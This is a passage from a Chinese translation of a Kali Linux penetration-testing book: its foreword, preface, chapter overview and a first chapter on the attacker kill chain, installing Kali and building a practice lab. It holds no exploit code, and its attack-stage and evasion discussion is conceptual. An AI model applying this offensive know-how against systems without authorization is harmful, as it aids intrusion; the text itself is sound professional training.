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时隔一年，《Kali Linux高级渗透测试》（原书第2版）这么快就跟读者见面了，不得不感叹网络空间安全技术的发展日新月异。

刚刚过去的2017年，勒索病毒WannaCry肆虐全球，各种“邮件门”、个人隐私泄露事件层出不穷，网络安全问题更加突出。也正是在2017年6月1日，我国首部网络安全法——《中华人民共和国网络安全法》正式实施，成为我国第一部规范网络空间秩序的基础性法律，该部法典从法律层面明确了网络安全保护的基本原则和要求，对于技术人员则需要从技术层面去研究实践如何提高网络攻击防御技术，提升网络系统的安全保护能力。渗透测试作为主动防御的一种重要手段，其重要性不言而喻。本书在第1版的基础上，增加了部分章节，更加全面、系统地介绍了Kali Linux在渗透测试中的高级应用，相信能够为国内从事空间网络安全的相关人员提供最前沿的技术参考。

本书由网络空间安全方面的教授和行业专家合作翻译，译者不但理论水平高，而且还拥有丰富的业务实践经验，尤其在渗透测试方面更是实干的权威行家。本书译文忠实原著，是一部高质量的学术译著。本书既可作为网络空间安全专业领域的研究开发人员、工程技术人员及高级技术主管的工具书，也可作为高校研究生和高年级本科生学习网络安全相关课程的参考书。

网络空间安全学科建设任重道远，学科的统一基础理论有待创立；心理学、管理学、经济学、社会学、安全熵、赛博学等因素对网络空间安全的影响有待深入探讨；借助科普提升普通大众的网络空间安全意识才刚刚开始；网络空间安全的各种攻防新手段、新思路永无止境。但愿此书能为此添砖加瓦；但愿已经（或即将）出版的《安全通论》《安全简史》《安全心理学》和《安全管理学》等，能为网络空间安全学科建设尽一点绵薄之力。

杨义先

2018年1月
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前言

本书致力于介绍如何使用Kail Linux对网络、系统、应用执行渗透测试。渗透测试可以模拟内部或外部的恶意攻击者对网络或系统进行的攻击。不同于漏洞评估，渗透测试包括漏洞利用阶段。因此，漏洞是存在的，而且如果不采取相应的措施将会有很大风险。

在本书中，“渗透测试人员”“攻击者”和“黑客”使用完全相同的技术及工具评估网络和数据系统的安全性。他们之间唯一的区别是他们的目标——数据网络的安全或数据的外泄。

简而言之，本书将带你踏上渗透测试者之旅：使用一些成熟的工具，在使用Kali Linux的网络上打败最新的防御，从选择最有效的工具，到网络安全快速响应，再到最重要的避免检测技术。

本书涵盖的内容

第1章介绍了贯穿全书的渗透测试方法的功能概要，确保全书遵循一致和全面的渗透测试方法。

第2章提供了一个背景，说明如何利用公共可用的资源和工具收集有关目标的信息，从而简化侦察和信息管理。

第3章向读者介绍可用于获取有关目标信息的隐秘方法，特别是识别可利用的漏洞的信息。

第4章教你掌握扫描网络及其设备的半自动化过程，接受所有侦察和漏洞信息，评估并创建一个指导渗透测试过程的地图。

第5章说明了如何能够物理地访问一个系统，或与管理人员进行交互，从而提供最成功的利用方法。

第6章简要介绍了无线技术，重点介绍了绕过安全防范进而危害这些网络的常用技术。

第7章简要概述了一个最复杂的交付阶段，以确保基于Web的应用暴露在公共网络上。

第8章从安全的角度介绍了最常用的远程访问技术，说明了可利用的弱点在哪里，以及如何在渗透测试中验证系统的安全性。

第9章着重介绍对最终用户系统上的应用程序的攻击，这些终端系统常常没有得到与组织的主干网络相同级别的保护。

第10章演示最常见的安全控制，找出克服这些控制的系统过程，并演示如何使用Kali工具集的工具。

第11章演示了攻击者发现和利用系统漏洞的方法。

第12章重点讨论直接的后利用活动和横向扩展，即利用被控制系统作为起点，“跳”到网络上的其他系统。

第13章演示了渗透测试人员如何拥有系统各方面的操作权限；更重要的是，获得一些访问权限，将允许测试人员控制网络上的所有系统。

第14章重点讨论现代攻击者如何使数据转移到攻击者的本地位置，以及隐藏攻击的证据。

学习本书需要准备什么

为了练习本书中出现的示例，需要虚拟化工具，例如VMware或者VirtualBox。

需要下载和安装Kali Linux操作系统及工具套件。通过访问互联网来确保你的系统是最新的，并且安装了所有的工具。

不幸的是，不是Kali Linux系统上的所有工具都会呈现，因为工具太多了。本书的目标不是将所有的攻击和选项展现给读者，而是提供一个测试方法，这个方法可以为读者提供学习和掌握新工具的机会，经过一段时间后，将它们变为自己的经验和知识。

虽然本书中大多数示例是基于Microsoft Windows的，但是方法和大多数工具是可以转换到其他操作系统的，例如Linux和其他UNIX系统。

最后，本书应用Kali来完成攻击者的攻击流程，对目标系统进行攻击。你需要一个目标操作系统。本书的许多示例是基于Microsoft Windows 7和Windows 2008R2的。

读者对象

如果你是一个渗透测试者、IT专业人士，或安全顾问，想要通过使用Kali Linux的先进功能最大程度地完成网络测试任务，那么本书是为你准备的。之前有一些渗透测试/道德黑客的基础知识会帮助你充分利用本书。


第1章　基于目标的渗透测试

“这个世上只有两种人，黑客和被黑客攻击的人。”

所有事情都是围绕一个目标来实现的。因此，在本章中，我们将讨论基于目标的渗透测试的重要性；并且描述一些在没有目标的情况下，漏洞扫描、渗透测试和红队练习的经典失败案例。本章还对安全测试做了一个总结，介绍了如何搭建实验室环境，重点讨论了如何自定义Kali以支持渗透测试的一些高级内容。阅读完本章，你将了解到以下内容：

·安全测试的概述

·漏洞扫描、渗透测试和红队练习的经典失败案例

·更新和组织Kali

·使用BASH脚本自定义Kali

·设置定义的目标

·构建运行环境


1.1　安全测试的概念

世界各地的每个家庭，每个个体、公共企业或私人企业在网络空间中都存在各种顾虑，例如数据丢失、恶意软件和网络恐怖主义等。这些都围绕一个概念——保护。如果你问100位不同的安全顾问：“什么是安全测试？”可能会听到不同的回答。其中最简单的解释为：安全测试是一个过程，用于验证信息资产或系统是否受到保护，并且验证保护功能是否按照预期效果执行。


1.2　经典漏洞扫描、渗透测试和红队练习的失败

在本节中，我们将重点介绍传统/经典的漏洞扫描、渗透测试和红队练习，并说明它们的局限性。现在让我们开始简单阐述这三种方法的实际意义，并讨论它们的局限性：

·漏洞扫描（Vulnerability scanning，Vscan）：这是一个识别系统或者网络的安全漏洞的过程。漏洞扫描的局限性是：只识别潜在的漏洞。其中可能包括大量的误报，对用户而言，这些漏洞的存在与风险评估并没有太大关系。

·渗透测试（Penetration testing，Pentest）：这是一个安全地利用漏洞而不影响现有网络或业务的过程。测试人员尝试并模拟漏洞利用后，误报的次数就会减少。渗透测试的不足是只能利用目前已知的公开漏洞，并且大部分都是以项目为重点的测试。在渗透测试中，我们经常听到“耶！得到权限”，但我们从来不问“下一步是什么”。这可能有各种原因，如项目限制你立即向客户报告高风险问题，或者客户只关心网络的一部分，并希望你妥协。

·红队训练（Red Team Exercises，RTE）：这是一种评价组织的有效防御网络威胁并且提高其安全性的过程。在RTE期间，我们注意到实现项目目标有多种方式，例如针对项目目标活动进行的完整覆盖，包括网络钓鱼、无线、丢弃盒和物理渗透测试等。使用RTE的不足是它们具有时间限制，具有预定义的方案，并且它们假设虚拟的真实环境。

通常，三种不同的测试方法都指向术语：黑客入侵或破解。我们将入侵你的网络，并暴露网络的弱点，但是，客户或企业主是否知晓这些网络被侵入或破解？我们如何衡量入侵或破解？有什么标准？我们什么时候才能知道网络被入侵或完全破解？所有这些问题都指向一件事——什么是主要目标？

渗透测试/RTE的主要目标是确定风险，评估组织的每项资产、业务、品牌形象等的风险等级。这不是评估他们有多少，而是评估他们暴露多少。如果发现的威胁并不构成风险，则无须进行证明。例如，对宣传册网站进行跨站脚本（Cross-Site Scripting，XSS）攻击可能不会对业务产生重大影响；然而，客户端可能会接受使用Web应用程序防火墙（Web Application Firewall，WAF）防止XSS攻击。


1.3　测试方法

模型中很少考虑为什么要进行渗透测试，或哪些数据是需要保护的业务关键数据。缺少这至关重要的一步，渗透测试无法抓住重点。

很多渗透测试人员不愿遵循现成的模型方法，他们担心模型会阻碍他们进行网络渗透的创造力。渗透测试不能反映恶意攻击者的实际活动。通常，客户希望看到你能不能在一个特定的系统中获得管理上的访问权（“你可以打开这个盒子吗？”）。然而，攻击者可能会重点关注复制关键数据的方式——不需要底层接入，或引起拒绝服务。

为了解决测试方法中固有的局限性，必须从攻击者的角度集成一个框架——杀链（Rill chain）。

在2009年，Lockheed Martin CERT的Mike Cloppert介绍了这个概念，现在被称为“攻击者杀链（attacker kill chain）”。当攻击者访问攻击网络时，“杀链”包含攻击者采取的步骤。“杀链”不总是以一个线性流呈现，因为一些步骤可能会并行出现。多发攻击可以对同一个目标瞬时进行多种攻击，并且在同一时间攻击步骤可能发生重叠。

在本书中，我们已经修改了Cloppert的杀链，使之能更准确地反映攻击者如何在利用网络、应用和数据服务时应用这些步骤。

图1.1显示了一个攻击者的典型杀链。
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图1.1　典型的杀链

一个攻击者的典型杀链可以描述为：

·侦察阶段。有一句格言：“侦察永远不浪费时间”。大多数军事组织承认，在进攻敌人之前，最好尽可能地去了解敌人的一切信息。同样，攻击者在攻击之前也会对目标展开广泛的侦察。事实上，据估计，针对渗透测试或攻击，至少有70%的“工作量”是进行侦察！一般来说，可采用两种类型的侦察：

·被动侦察。这种方式并不直接与目标以敌对方式进行交互。例如，攻击者将会审查公共的可用网站，评估在线媒体（尤其是社交媒体网站），并试图确定目标的“攻击表面”。

一个详细的任务将会产生一份过去和现在的雇员名称的列表。这些名称将成为尝试蛮力攻击或密码猜测的基础。同样它们也被用到社会工程的攻击中。

这种类型的侦察很难从普通用户的行为中区分出来。

·主动侦察。这种方式可以被目标检测到，但是很难从常规的背景中区分出大多数在线组织的表现。

主动侦察期间的活动包括物理访问目标前端、端口扫描和远程漏洞扫描。

·交付阶段。交付是选择和开发武器，武器用于完成攻击中的任务。精确的武器选择取决于攻击者的意图以及实施路线（例如，借助网络、通过无线，或通过基于Web的服务）。交付阶段的影响将在本书第二部分进行研究。

·利用或攻击阶段。一个特定的漏洞被成功利用的时刻，此时攻击者实现他们的目标。攻击可能已经在一个特定的情景下发生（例如：通过缓冲区溢出利用一个已知操作系统的安全隐患），或者攻击可能在多个情景下发生（例如：一个攻击者物理访问公司住所，偷取他们的电话簿，用公司员工的名字来创建门户登录蛮力攻击列表。此外，电子邮件被发送到所有员工以引诱他们单击一个嵌入式链接，下载制作的PDF文件，这些文件会危及员工的计算机）。当恶意攻击者针对特定的企业时，多情景攻击是常态。

·后期利用阶段：对目标的行动。这经常被称为“渗漏阶段”（exfiltration phase），这是错误的，因为通常理解的攻击，仅仅以窃取敏感信息作为唯一的目的（如登录信息、个人信息和财务信息）；但是，通常情况下，攻击者有不同的攻击目标。例如，这一阶段必须专注于攻击者的许多可能的行动。

最常见的利用活动是攻击者试图提升他们的访问权限到最高级（纵向升级），并且破解尽可能多的账号（横向升级）。

·后期利用：持久性。如果攻击一个网络或者系统是有价值的，那么这个价值很可能在持续攻击下增长。这就需要攻击者持续与被攻破的系统之间保持通信。从防护者的角度来看，这是攻击杀链中最容易检测到的一部分。

当攻击者试图攻击网络或特定的数据系统时，攻击杀链是攻击者行为的一种基本模型。作为一种元模型，它可以吸收任何私人的或商业的渗透测试方法。但是，也不同于这些方法，它使攻击者在一个战略高度上关注如何接近网络。这种专注于攻击者的活动将引导本书的布局和内容。


1.4　Kali Linux介绍——历史和目的

Kali Linux（Kali）继承于BackTrack渗透测试平台，通常认为BackTrack是测试安全数据和语音网络的实际标准工具包。它是由Mati Aharoni和Devon Kearns联合开发的攻击性安全防护工具。Kali的发展历程如下：

·2013年3月，基于Debian GNU/Linux开源系统的渗透测试新工具Kali Linux取代了BackTrack。

·Kali 1.1.0（2015年2月9日）：这是kali两年来的第一次升级，其内核补丁改至3.18，有无线注入攻击的补丁，支持无线驱动——大约有58个固定bug。其他版本如Kali 1.1.0a可以选择性地安装某些程序。

·Kali 2.0（2015年8月11日）：这是一个主要版本，现在是滚动分布，主要更改了UI。可以从旧版本更新到新版本Kali 2.0。

·Kali 2016.1（2016年1月21日）：推出了第一个Kali。内核4.3和最新的Gnome 3.18的发行版本。

·Kali 2016.2（2016年8月31日）：第二个Kali滚动版本。内核4.6和Gnome 3.20.2更新修复了一些错误。

Kali 2.0的其他功能包括：

·包含超过300个渗透测试、数据取证和防御工具。它们由硬件和内核补丁程序提供无线支持，允许一些数据包注入无线攻击。

·支持多种桌面环境，例如Gnome、KDE、LXDE以及XFCE，也支持多种语言。

·兼容Debian的工具每天至少和Debian资源库同步四次，使更新封装包和支持安全修复更容易。

·有安全的发展环境和GPG签名的包和回购协议。

·支持ISO自定义，也就是允许用户建立他们自己的Kali版本。引导程序功能也执行企业级网络的安装，可以用先前的种子文件进行自动化安装。

·随着基于ARM的系统变得越来越普遍，成本越来越低，所以支持ARMEL和ARMHF的Kali可安装在如下设备上，例如rk3306mk/ss808、Raspberry Pi、ODROID U2/X2、Samsung Chromebook、EfikaMX、Beaglebone Black、CuBox和Galaxy Note 10.1。

·Kali保留了一个免费的开源项目。最重要的是，它得到了活跃的在线用户群的支持。

Kali Linux的目的是保护并集成所有的工具，为渗透测试人员提供一个统一的平台。


1.5　安装和更新Kali Linux

在本书的上一版中，我们主要介绍了在VMware上安装Kali Linux。现在将更全面地介绍Kali Linux的不同安装方法与更新技术。


1.6　在便携式设备中使用Kali Linux

将Kali Linux安装到便携式设备中相当简单。在某些情况下，客户不允许在安全设施内部使用外部笔记本电脑。这种情况下，通常客户端向漏洞测试者提供测试计算机以进行扫描。在漏洞测试和RTE时，在一个便携式设备上运行Kali Linux有更多的好处：

·使用USB或者移动设备时，Kali在你的口袋中。

·无需对主机操作系统进行任何更改，Kali可以直接运行。

·可以自定义构建Kali Linux，甚至使用固化存储器。

从Windows PC将USB转换为便携式Kali是一个简单的过程，包含三个步骤：

1）Kali Linux映像的官方下载URL为：http://docs.kali.org/introduction/download-official-kali-linux-images
 。

2）Win32Disk Imager的下载地址为：https://sourceforge.net/projects/win32diskimager/
 。

3）以管理员身份打开Win32Disk Imager。将USB驱动器插入PC的可用USB端口，可以看见图1.2所示的界面。选择正确的驱动器名称，然后单击Write。
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图1.2　Win32 Disk Imager启动界面

一旦完成，退出Win32Disk Imager，并安全移出USB。现在Kali Linux已经在便携式设备上准备好了，并可以插入任何笔记本电脑来直接启动。如果主机操作系统是Linux，则可以通过两个标准命令来实现，即--sudofdisk-1和dd if=kali linux.iso of=/dev/nameofthedrive bs=512k。前者将显示驱动器上安装的所有磁盘；对于后者，如果用于输入文件，dd命令行执行转换和复制，of是指输出文件，bs是指块大小。


1.7　将Kali安装到虚拟机中

本节将深入了解如何将Kali安装到VMware Workstation Player和Oracle VirtualBox中。


VMware Workstation Player


VMware Workstation Player以前称为VMware Player，可供个人免费使用。在主机操作系统中，VMware虚拟机作为桌面应用程序存在，允许商用。该应用程序可以从URL http://www.vmware.com/products/player/playerpro-evaluation.html
 下载。

接下来，介绍将Kali Linux逐步安装到VMware Workstation Player中的过程。

一旦将文件下载到主机操作系统中，只需单击Open the executable（打开可执行文件）即可看到如图1.3所示的屏幕截图。
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图1.3　VMware Workstation Player安装界面

下一步是接受最终用户许可协议，单击Next，直至获得如图1.4所示的屏幕，屏幕显示了在主机操作系统上成功安装了VMware。

下一步将Kali Linux安装到VMware，我们已经从官方的Kali Linux下载了文件，现在点击Create a NewVirtual machine（创建新的虚拟机）并选择Installer disc image file（iso）（安装磁盘映像文件）。浏览下载的ISO文件，然后单击Next。现在可以输入所选择的名称（例如，HackBox），并选择要存储VMware映像的自定义位置。单击Next，然后指定运行Kali的最小磁盘容量（推荐为10GB），然后单击Next直到完成所有设置。完成后，应该可以看到如图1.5所示的屏幕。

[image: ]


图1.4　VMware Workstation Player安装成功界面
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图1.5　Kali Linux安装到VMware Workstation Player的步骤

可以选择将Kali Linux安装到主机操作系统或将其作为实时映像运行。一旦完成所有安装步骤，就可以从VMware成功启动Kali Linux，如图1.6所示。
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图1.6　Kali Linux安装完成


注意：
 Sana存储库从新版本的kali-linux 2016.2中删除。Sana是由包组成的存储库的代码名称。所以建议安装/启动Kali Linux后的第一步是运行apt-get update，以便更新sources.lst文件。


VirtualBox


VirtualBox类似于VMware Workstation Player，它是一个完全开源的虚拟机管理程序，也是可以从主机操作系统运行任何虚拟机的免费桌面应用程序。可以从https://www.Virtualbox.org/wiki/Downloads
 下载VirtualBox。

现在将在VirtualBox上安装Kali。与VMware类似，将执行所下载的可执行文件，这些可执行文件将引导我们进入如图1.7所示的屏幕。

[image: ]


图1.7　VirtualBox安装包启动界面

一旦点击Next，VirtualBox应该提供自定义选项选择不同的存储方式，默认情况下，我们将选择VirtualBox Application，如图1.8所示。

点击Next，可以看到安装进度，如图1.9所示。

图1.10提供了成功安装Oracle VirtualBox的确认信息。
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图1.8　VirtualBox安装步骤
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图1.9　VirtualBox安装进度
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图1.10　VirtualBox安装成功界面

下一步是将Kali Linux安装到VirtualBox中。点击菜单中的New，出现如图1.11所示的屏幕，可以输入所选择的名称，并选择平台的正确版本。例如，根据我们下载的ISO映像，选择64位Debian或32位Debian。

单击Next，并提供Kali所需的RAM大小。我们建议RAM至少为1GB。通过点击Next，将在主机操作系统上为Kali Linux创建一个虚拟硬盘。单击Next选择硬盘文件类型，大多选择VDI（Virtualbox Disk Image），如图1.12所示。
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图1.11　选择Kali Linux安装版本
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图1.12　为Kali Linux创建虚拟硬盘类型

点击Next，创建硬盘的大小，如图1.13所示。

最后，我们必须到Hackbox|Settings中，将ISO映像加载为外部驱动，如图1.14所示。
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图1.13　为Kali Linux创建虚拟硬盘大小
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图1.14　将ISO映像加载为外部驱动

现在应该可以看到以下截图，已成功安装Kali Linux到VirtualBox，如图1.15所示。
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图1.15　安装Kali Linux到VirtualBox


1.8　将Kali安装到Docker设备

Docker是一个开源项目，旨在即时自动部署软件容器和应用程序。Docker还在Linux上提供了操作系统级的虚拟化附加抽象和自动化层。

Docker适用于Windows，MacOS、Linux、AWS（Amazon Web Services）和Azure。在Windows中，可从https://download.docker.com/win/stable/InstallDocker.msi
 下载Docker。

以下步骤显示如何在Windows 10中安装Docker，如图1.16所示：
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图1.16　安装Docker初始界面

安装Docker到Windows，需要使用Microsoft Windows上的Hyper-V功能。如果没有启用Hyper-V，很可能会看到如图1.17所示的界面。

一旦点击Ok，Hyper-V将由Docker应用程序启用，可以通过简单地输入docker命令查看命令提示信息，如图1.18所示。

现在，我们已经将Docker设备安装到Windows主机操作系统。使用简单的docker pull kalilinux/kalilinux-docker命令安装Kali Linux，如图1.19所示。
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图1.17　没有启用Hyper-V，安装失败界面
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图1.18　查看命令提示符
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图1.19　使用命令安装Kali Linux

一旦将Kali Linux下载到Docker应用程序，就可以立即从下载的Kali Docker设备运行run-t-i kalilinux/kal-linux-docker/bin/bash，如图1.20所示。
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图1.20　运行bash

应该能够直接从Docker运行Kali Linux。另外，请注意，Docker在后台使用VirtualBox环境。因此，它是通过Docker设备在VirtualBox上运行的虚拟机。


1.9　将Kali安装到云——创建一个AWS实例

AWS是Amazon提供的一个基于云的平台，Amazon主要为客户提供随时随地的计算、存储和内容传送。渗透测试者或黑客可以利用AWS进行渗透测试，本节将介绍最简单地将Kali Linux安装到AWS中的方法，在外部命令和控制的情况下，这将非常方便。

首先，需要一个有效的AWS账户。可以通过访问https://console.aws.amazon.com/console/home
 注册。

登录AWS账户后，可以看到所有的AWS服务，如图1.21所示。

第二步是在AWS上启动Kali Linux。我们将通过安装Debian操作系统来定制Kali Linux。开源社区使得在Amazon Marketplace中直接启动预配置的Kali Linux 2016.2变得非常简单。https://aws.amazon.com/marketplace/pp/B01M26MMTT
 将使我们能够在几分钟内直接启动Kali Linux。

当访问该链接时，能够看到如图1.22所示的内容。

点击Accept Software Terms&Launch with 1-Click（接受软件条款并且启动）按钮，然后通过访问https://console.aws.amazon.com/ec2/v2/home?regin=us-east-1
 ，来访问你的AWS控制台。现在可以通过在Launch Instance（创建实例）上选择Instance ID按钮来创建一个实例，如图1.23所示。
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图1.21　AWS服务
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图1.22　访问链接界面

为了确保只有你可以访问Kali Linux，需要创建一个键值对。现在可以使用在键值对中生成的私钥登录到你的AWS云。然后，通过从命令shell输入以下命令来登录：
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图1.23　创建一个实例

图1.24显示了Kali已在AWS上成功安装。
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图1.24　在AWS上成功安装Kali的界面

必须满足所有条款和条件才能利用AWS进行渗透测试。在发起云主机的任何攻击之前，必须遵守法律条款和条件。


1.10　组织Kali Linux

安装只是搭建的第一步，组织Kali Linux非常重要。本节会通过不同的定制方式来组织HackBox。


1.10.1　配置和自定义Kali Linux

Kali是一个用来完成渗透测试的框架。然而，测试人员不会感觉到相关联的默认安装的测试工具，或者是使用Kali桌面安装的工具。通过自定义BackTrack，测试人员可以提高收集到的客户数据的安全性，使渗透测试更简单。

Kali的常见自定义包括：

·重置超级用户密码

·添加普通用户

·加速Kali运行

·与Microsoft Windows共享文件夹

·使用BASH脚本来定制Kali


重置超级用户密码


使用以下命令修改用户密码：
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然后会提示你输入一个新的密码，如图1.25所示。
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图1.25　修改用户密码


添加普通用户


为了执行其功能，Kali提供的许多应用必须用超级用户的权限（Root-level privileges）运行。超级用户权限有一定的风险，例如，输错一个命令或者使用了一个错误的命令，将会导致应用终止，甚至损害被测试的系统。在一些例子中，使用普通用户级权限来测试是更可取的。事实上，一些应用促进了低权限账户的使用。

为了创建一个普通用户，可以简单地在终端上使用命令adduser，接着会出现指令，如图1.26所示。
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图1.26　创建普通用户


加速Kali运行


以下几个工具可以用来优化和加速Kali运行：

·在使用虚拟机时，安装VM软件驱动包Guest Additions（VirtualBox）或者VMware Tools（VMware）。我们需要确认在安装之前运行了apt-get update。

·在创建虚拟机时，选择一个固定大小的磁盘，而不是动态分配的磁盘。固定大小的磁盘可以更快地添加文件，并且碎片更少。

·预先加载的应用（apt-get install preload）能识别一个用户最常用的程序，也能把二进制文件和依赖性预先加载到内存，以提供更快速的访问。随着安装后的第一次重启，它会自动运行。

·BleachBit（apt-get install bleachbit）释放磁盘空间，通过释放缓存、删除cookie、清除上网记录、粉碎临时文件、删除日志，以及丢弃其他一些非必需的文件来提高隐私性。使用高级技术，包括粉碎文件来防止恢复，擦除空闲磁盘空间来隐藏没有完全删除的文件的踪迹。

·在默认情况下，Kali不会显示所有出现在开始菜单里的应用。每个在启动阶段安装的应用降低了系统数据，并且可能会影响内存使用和系统性能。用启动管理器BUM（Boot Up Manager）来禁止启动时非必要的服务和应用（apt-get install bum），如图1.27所示。

·直接从键盘添加gnome-do（apt-get install gnome-do）启动应用。从应用|附件（Applications|Accessories）菜单中选择gnome-do配置它。一旦启动后，选择首选项（Preferences）菜单，激活静启动（Quiet Launch）功能，并选择一个启动命令（例如，Ctrl+Shift）。选好启动密钥后，清除现有的命令，然后输入需要执行的命令行。

·如果不从键盘直接启动，那么可能会写入一些能启动复杂操作的特定脚本语句。

[image: ]


图1.27　启用BUM


与主机操作系统共享文件夹


Kali工具集能灵活地与驻留在不同操作系统上的应用共享成果，特别是Microsoft Windows。最有效的数据共享方式是创建从主机操作系统以及Kali Linux VM客户机能访问的一个文件夹。

当将主机或VM中的数据放置在共享文件夹中时，所有能访问共享文件夹的系统都能立刻访问数据。

创建共享文件夹的步骤如下：

1）在主机操作系统上建立一个文件夹。在这个例子中，我们将其命名为Kali_Share。

2）右击文件夹，选择共享（Sharing）选项卡，并从中选择Share。

3）确保文件是与每个人（Everyone）共享的，允许级别（Permission Level）设置为读/写（Read/Write）。

4）如果你没有这样操作，那么在BackTrack上安装适当的工具。例如，在使用VMware时，安装VMware工具（具体安装步骤可参考本书附录）。

5）在完成安装之后，在VMware菜单里选择虚拟机设置（Virtual Machine Setting）。找到共享文件夹（Shared Folders）菜单，并选择保持打开（Always Enabled）选项。创建主机操作系统中已存在的共享文件夹的路径，如图1.28所示。
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图1.28　虚拟机设置界面

6）使用Oracle VirtualBox时，选择“VM”进入“Settings”然后选择“Shared Folders”如图1.29所示。
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图1.29　选择“Shared Folders”选项


注意：
 旧版本的VMware player使用了不同的菜单

7）打开Kali桌面上的文件浏览器。可以在mnt文件夹中找到共享文件夹（也有可能在子文件夹hgfs中找到）。

8）将文件夹拖到Kali桌面上，这样就创建了一个到真实文件夹的链接。

9）在主机操作系统中，具有相同名字的文件夹中的所有内容都可以被访问，反之亦然。

共享文件中，将包含一次渗透测试中的敏感数据，所以需要通过加密来保护用户网络，在数据丢失时，减轻测试人员的责任。


使用BASH脚本来定制Kali


通常，为了维护系统和软件开发，在Linux中的命令行界面开发了多个shell，即sh、bash、csh、tcsh和ksh。

根据渗透测试的目标，可以利用以下bash脚本定制Kali Linux：

·https://github.com/leebaird/discover/blob/master/update.sh




·https:/code.google.com/archive/p/lazykaili/downloads





1.10.2　建立验证实验室

作为渗透测试人员，建议你搭建自己的验证实验室来测试任何类型的漏洞，在现场环境中模拟相同的概念之前，要有正确的概念证明。


使用活动目录设置虚拟网络


在建立验证实验室的过程中，大多数公司利用Microsoft Active Directory进行用户管理和资源共享，如打印机、文件和身份管理。攻击者不仅仅是在服务器上运行命令或关闭命令，而是更专注于拥有一个完整的域控制器，它可能是一个公司的DNA。我们将对活动目录（Active Directory）和DNS服务器执行一些高级攻击。本节将在Windows 2008R2服务器上安装活动目录。

执行与安装Kali Linux的相同步骤，将Windows 2008R2安装到同一网络中。

接下来，逐步介绍安装活动目录域服务（Active Directory Domain Services）的方法。假设我们已经安装了Microsoft Windows 2008R2服务器，请单击Server manager（服务器管理），转到Roles（角色），然后单击Add Roles（添加角色）。在Before you Begin界面单击Next，将弹出以下对话框，如图1.30所示。

选择Active Directory Domain Services（活动目录域服务），当选择这一项时，可能会收到安装.Net Framework 3.5.1Features的警告，这是确保启用所有API功能必需的。单击Add Required Features（增加需要的功能），如图1.31所示。

接下来，点击Install。两个项目将被安装，可以看到AD Domain Services安装成功，如图1.32所示。
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图1.30　选择服务器角色
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图1.31　安装.Net Framework 3.5.1Features

安装服务后，我们需要确定能通过单击Active Directory Domain Services安装向导运行该服务，并按照说明创建新的森林。在本书案例中，我们将创建一个新的森林，把全称域名（FQDN）命名为Secure.kali.com。然后将域NetBIOS命名为“Secure”，将森林功能级别设置为Windows 2003或Windows 2008R2。这将调用域名服务器DNS（Domain Name Server）。作为一个全新的安装，我们需要遵循向导并且安装DNS，最后必须要有一个新的名为secure.kali.com的域，如图1.33所示。
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图1.32　显示安装结果
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图1.33　完成Active Directory Domain Services安装向导


安装适当目标


实践使人完美。为了实践渗透的技术，始终建议使用知名的脆弱软件。本节将安装一个Windows平台Metasploitable3，以及一个PHP框架的Web应用程序Multilladae。


Metasploitable3


Metasploitable3不容置疑是一个易受攻击的虚拟机，它旨在使用Metasploit对多个漏洞进行测试。它具有BSD风格的许可证。可以从https://github.com/rapid7/Metasploitable3
 下载该虚拟机。你可以下载ZIP文件并将其解压到你最喜欢的Windows位置（通常，将其解压到c：\HackTools\文件夹中），或者你还可以使用git clone与bash命令相链接。

安装所有相关的支持软件，如Packer、Vagrant、VirtualBox和Vagrant reload插件。

图1.34是在Windows 10操作系统上手动安装Metasploitable3的快照。
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图1.34　安装Metasploitable3的快照

一旦下载了ISO vbox镜像，就将收到一条消息，如图1.35所示。

VirtualBox文件下载后，只需要在同一个PowerShell中运行vagrant up。这将在你的VirtualBox中启动新虚拟机，如图1.36所示。


Mutillidae


Mutillidae是一个不安全的开源的网络应用程序，专为渗透测试人员而设计，以实践所有特定于Web应用程序的漏洞利用测试。

XAMMP是由Apache Friends开发的另一个免费开源的跨平台的Web服务器解决方案堆栈包。XAMPP可以从https://www.apachefriends.org/download.html
 下载。
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图1.35　安装ISO vbox信息
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图1.36　启动新虚拟机

现在将Mutillidae安装到新安装的Microsoft Windows 2008R2服务器上以进行托管。下载XAMMP，按照向导安装可执行文件。安装完成后，启动XAMPP，应该可以看到如图1.37所示的界面。

可从https://sourceforge.net/projects/mutillidae/files/latest/download
 下载Mutillidae。

解压安装包并将文件夹复制到c：\yourxampplocation\htdocs\<mutillidae>。

如图1.38所示，可以看到Web应用程序安装成功，可以通过http://localhost/mutillidae/
 ：

查看软件Mutillidae状态。
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图1.37　启动XAMPP
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图1.38　Mutillidae网页界面


使用Faraday管理合作渗透测试


渗透测试中最困难的方面之一，是在测试完毕后，记住测试的网络或目标系统中所有有关部分。在某些情况下，单个客户端可能会有多个渗透测试人员从多个位置执行扫描活动，此时管理层希望能有一个视图。如果所有的渗透测试人员都可以在同一网络或互联网上互相ping通，Faraday可以提供单一视图。

Faraday是多用户渗透测试集成开发环境（Integrated Development Environment，IDE）。它是为测试人员设计的，用于分配、索引和分析在渗透测试或技术安全审核过程中生成的所有数据，以提供不同视角，如管理、执行摘要和全部问题列表等。

这个IDE平台是由InfoByte在Python中开发的。从链接https://github.com/infobyte/faraday/wiki
 下载应用程序，或直接git clone链接，如图1.39所示。
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图1.39　用./install.sh命令安装Faraday

将文件夹克隆到Kali Linux后，运行./install.sh安装任何依赖项。不要忘记启动CouchDB服务，因为Faraday利用CouchDB作为数据库进行存储。最后，我们运行faraday-server.py启动一个集成平台的Faraday服务器。作为客户端，我们应能够通过运行faraday.py来启动Faraday，如图1.40所示。
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图1.40　用./faraday.py命令启动Faraday IDE

启动Faraday应向我们开放Faraday shell控制台，如图1.41所示。

应用程序的一个好处是，你进行的任何扫描或任何其他渗透测试者的行为都可以通过点击Faraday网站来显示信息，如图1.42所示。
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图1.41　Faraday shell控制台
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图1.42　Faraday网站界面

Faraday社区免费版有一个局限性，即可以被人用来在一个独立环境下可视化所有的问题清单。


1.11　小结

在本章中，我们介绍了不同的测试方法，以及针对实时攻击进行测试的基于目标的测试的组织方法。我们介绍了渗透测试人员如何在多个不同平台上使用Kali Linux来评估数据系统和网络的安全性。我们已经在不同的虚拟化平台上安装了Kali，并且看到在Windows平台上使用Docker运行Linux操作系统的快捷。

我们建立了自己的验证实验室，搭建了活动目录域服务（Active Directory Domain Services），也在同一网络上搭建了两个不同的虚拟机。最重要的是，你学习了如何使用定制的Kali工具来提高收集到的数据的安全性。我们正在使用工具支持进程的目标，而不是相反的方式！

下一章将介绍如何有效利用开源情报（Open Source Intelligence，OSINT）来识别目标的易攻击面，以及创建特定的用户的密码表，以促进更有效的攻击和利用。


第2章　开源情报和被动侦察

“如果一件事情注定不在互联网上，那一开始就不应该在互联网上。”

